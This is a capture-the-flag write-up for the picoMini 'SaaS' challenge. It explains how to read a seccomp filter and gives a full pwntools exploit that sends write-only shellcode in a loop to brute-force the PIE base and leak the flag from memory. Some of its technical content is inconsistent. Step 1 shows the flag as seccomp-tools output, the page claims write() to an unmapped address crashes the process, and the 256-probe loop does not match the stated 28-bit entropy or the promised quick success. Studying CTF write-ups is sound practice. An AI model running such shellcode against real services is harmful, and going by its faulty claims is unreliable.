Skip to main content

SaaS picoMini by redpwn Solution

Craft shellcode for a service that accepts and runs your code under a strict system call filter.

Published: April 2, 2026Updated: July 22, 2026

Description

Shellcode as a Service.

Connect to the challenge server with netcat.

Download the binary to analyze the seccomp filter locally.

bash
nc <challenge_host> <PORT_FROM_INSTANCE>
bash
wget <challenge_url>/saas  # binary for local analysis

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Analyze the seccomp filter with seccomp-tools
    Observation
    I noticed the binary description said 'Shellcode as a Service,' which suggested the server executes user-supplied shellcode inside a sandbox; before writing any payload I needed to know exactly which syscalls the BPF filter permits or kills.
    Install seccomp-tools and dump the BPF filter from the binary. This reveals exactly which syscalls are allowed, which are blocked, and what action is taken on a violation (KILL, TRAP, or ERRNO).
    bash
    gem install seccomp-tools
    bash
    seccomp-tools dump ./saas
    bash
    # Or disassemble the filter from binary directly:
    bash
    seccomp-tools disasm <filter_bytes>

    Expected output

    picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}
    What didn't work first

    Tried: Running strace on the binary instead of seccomp-tools to see which syscalls are used

    strace shows syscalls the binary itself makes during normal execution, not the BPF filter rules it installs. The seccomp filter only activates after setup() calls prctl(PR_SET_SECCOMP, ...), so strace captures pre-filter calls like open and read that load_flag() performs - giving the false impression those syscalls are available to your shellcode. seccomp-tools dump actually runs the binary and extracts the BPF bytecode the kernel enforces on the sandboxed process.

    Tried: Using objdump or strings on the binary to find the filter rules instead of seccomp-tools

    The BPF filter is compiled into bytecode at build time and stored as a raw byte array in the binary. strings and objdump -d show the bytes but not their decoded meaning - you see something like .byte 0x20,0x00,0x00,0x00 which is unreadable without a BPF disassembler. seccomp-tools disasm translates each BPF instruction into human-readable conditionals like 'if sys_number == read: KILL', which is what you need to know what shellcode is viable.

    Learn more

    seccomp (Secure Computing Mode) is a Linux kernel mechanism that restricts which syscalls a process can make. In filter mode, the process installs a BPF (Berkeley Packet Filter) program that the kernel runs against every syscall. The BPF program can allow, deny, or kill the process based on the syscall number and arguments.

    seccomp-tools disassembles these BPF programs into human-readable output like A = sys_number; if A == write: ALLOW; else: KILL. This is essential before writing shellcode - you need to know which syscalls are permitted. For this challenge the filter is unusually tight: only write to fd 1, exit, and exit_group are allowed. open, read, and execve are all killed.

  2. Step 2
    Write write-only memory-scanner shellcode
    Observation
    I noticed seccomp-tools showed that open and read were blocked with KILL while write(fd=1) and exit remained allowed, which suggested the flag must already be in memory before the filter is installed and that scanning with sys_write was the only viable extraction path.
    Because open and read are both blocked, ORW shellcode is killed the moment it hits the open syscall. The correct approach exploits the fact that load_flag() pre-loads the flag into a 64-byte global buffer before setup() installs the seccomp filter. Your shellcode never needs to touch the filesystem: write a loop that calls sys_write(1, candidate_addr, 64) for increasing candidate addresses. When the address lands in the mapped data segment the write succeeds and you see the flag scroll past. Since PIE randomizes the base, brute-force the high-order address byte starting from a plausible range (e.g. 0x5500_0000_2060) and step by 0x10_0000 each iteration.
    bash
    # exploit.py
    python
    from pwn import *
    bash
    context.arch = 'amd64'
    bash
    python
    def make_shellcode(addr):
    bash
        return asm(f'''
    bash
            /* write(1, {addr:#x}, 64) */
    bash
            mov rsi, {addr:#x}
    bash
            mov edi, 1
    bash
            mov edx, 64
    bash
            mov eax, 1
    bash
            syscall
    bash
            /* exit(0) */
    bash
            xor edi, edi
    bash
            mov eax, 60
    bash
            syscall
    bash
        ''')
    bash
    bash
    base = 0x550000000000
    bash
    flag_offset = 0x2060   # typical PIE .bss offset for flag global
    bash
    step = 0x100000
    bash
    for i in range(0x100):
    bash
        candidate = (base + i * step) | flag_offset
    bash
        p = remote('<host>', <PORT_FROM_INSTANCE>)
    bash
        sc = make_shellcode(candidate)
    bash
        p.send(sc)
    bash
        try:
    bash
            data = p.recvall(timeout=1)
    bash
            if b'picoCTF' in data:
    python
                print(data)
    bash
                break
    bash
        except:
    bash
            pass
    bash
        p.close()
    What didn't work first

    Tried: Writing classic ORW (open-read-write) shellcode to open /flag and read its contents

    The seccomp filter kills the process the instant syscall 2 (open) or syscall 257 (openat) is reached - the kernel sends SIGKILL before the instruction returns, so the read and write steps never execute. The filter has no ALLOW entry for open or read. The flag must be extracted using only write(1, addr, len) because load_flag() has already placed the flag bytes in memory before the filter is installed.

    Tried: Hardcoding a fixed flag address like 0x555555558060 derived from running the binary locally in GDB

    PIE (Position Independent Executable) randomizes the load base on each run via ASLR, so the address seen in GDB is valid only in that one local invocation. On the remote server the base shifts by a different random offset each connection. The exploit must brute-force the high-order bytes of the candidate address across many connections rather than relying on any single static address.

    Learn more

    The binary calls load_flag() to read /flag into a char flag[64] global, then calls setup() which installs the seccomp BPF filter and only then mmap-executes your shellcode. By the time your code runs, the flag bytes are already live in the process image - no file I/O is needed or possible.

    Why ORW fails here: the seccomp filter's action on open (syscall 2) and read (syscall 0) is KILL. The kernel terminates the process at the first disallowed syscall, so a classic open-read-write chain never reaches the read step.

    Why the write loop works: write to fd 1 and exit/exit_group are the only allowed syscalls. Writing to an unmapped address raises SIGSEGV (the process crashes), but writing to a valid mapped address succeeds and the bytes come back over the socket. You iterate candidate addresses until one returns data containing picoCTF.

    PIE randomizes the base address but the entropy is limited (typically 28 bits on 64-bit Linux with ASLR level 2). The flag global sits at a fixed offset from the PIE base (visible in objdump -t saas | grep flag), so you only need to brute-force the base itself.

  3. Step 3
    Run the exploit and capture the flag
    Observation
    I noticed the shellcode and brute-force loop were fully constructed, and PIE entropy is limited enough that iterating candidate base addresses with fresh connections should hit the correct mapping within a few hundred attempts.
    Run the exploit script. Each iteration probes a different candidate base address with a single sys_write call. When the candidate falls inside the binary's mapped data segment, the flag bytes are written back to stdout and you capture them.
    python
    python3 exploit.py
    bash
    # When the correct address is hit, output resembles:
    bash
    # picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}\x00\x00...
    Learn more

    The challenge name SaaS (Shellcode as a Service) mirrors cloud service acronyms (SaaS, PaaS, IaaS). The server is literally a shellcode execution service - it reads bytes, maps them RWX, and jumps to them. The seccomp filter is the only defense.

    Because each probe attempt crashes or closes the connection, you need a fresh TCP connection per iteration. pwntools' remote() handles reconnection cleanly. Expect to iterate up to a few hundred times before the address space aligns; in practice the flag usually appears within the first 50 to 100 attempts.

Interactive tools
  • Pwntools ForgeGenerate a complete pwntools exploit script from a template: ret2win, shellcode, ret2libc, ROP chain, format string, or blank scaffold. Fill the form, copy or download the .py file. Fully editable before saving.

Flag

Reveal flag

picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}

The seccomp filter allows only write(fd=1) and exit - open and read are blocked. The flag is pre-loaded into a global buffer before seccomp is installed, so the real exploit is a write-only memory scanner that brute-forces the PIE base address and calls sys_write(1, flag_addr, 64) until it hits the correct mapping.

Key takeaway

Seccomp BPF filters restrict shellcode to an explicit allowlist of syscalls, and bypassing them requires working entirely within what the filter permits. When the only allowed output syscall is write, an attacker can scan process memory by probing addresses with write and observing whether bytes come back, turning a defensive allowlist into a primitive for data exfiltration. The same seccomp-bypass mindset applies to real sandboxes like Docker, Chrome, and Firefox, where indirect or allowed-syscall primitives often exist that the sandbox designer did not anticipate.

Related reading

Want more picoMini by redpwn writeups?

Useful tools for Binary Exploitation

What to try next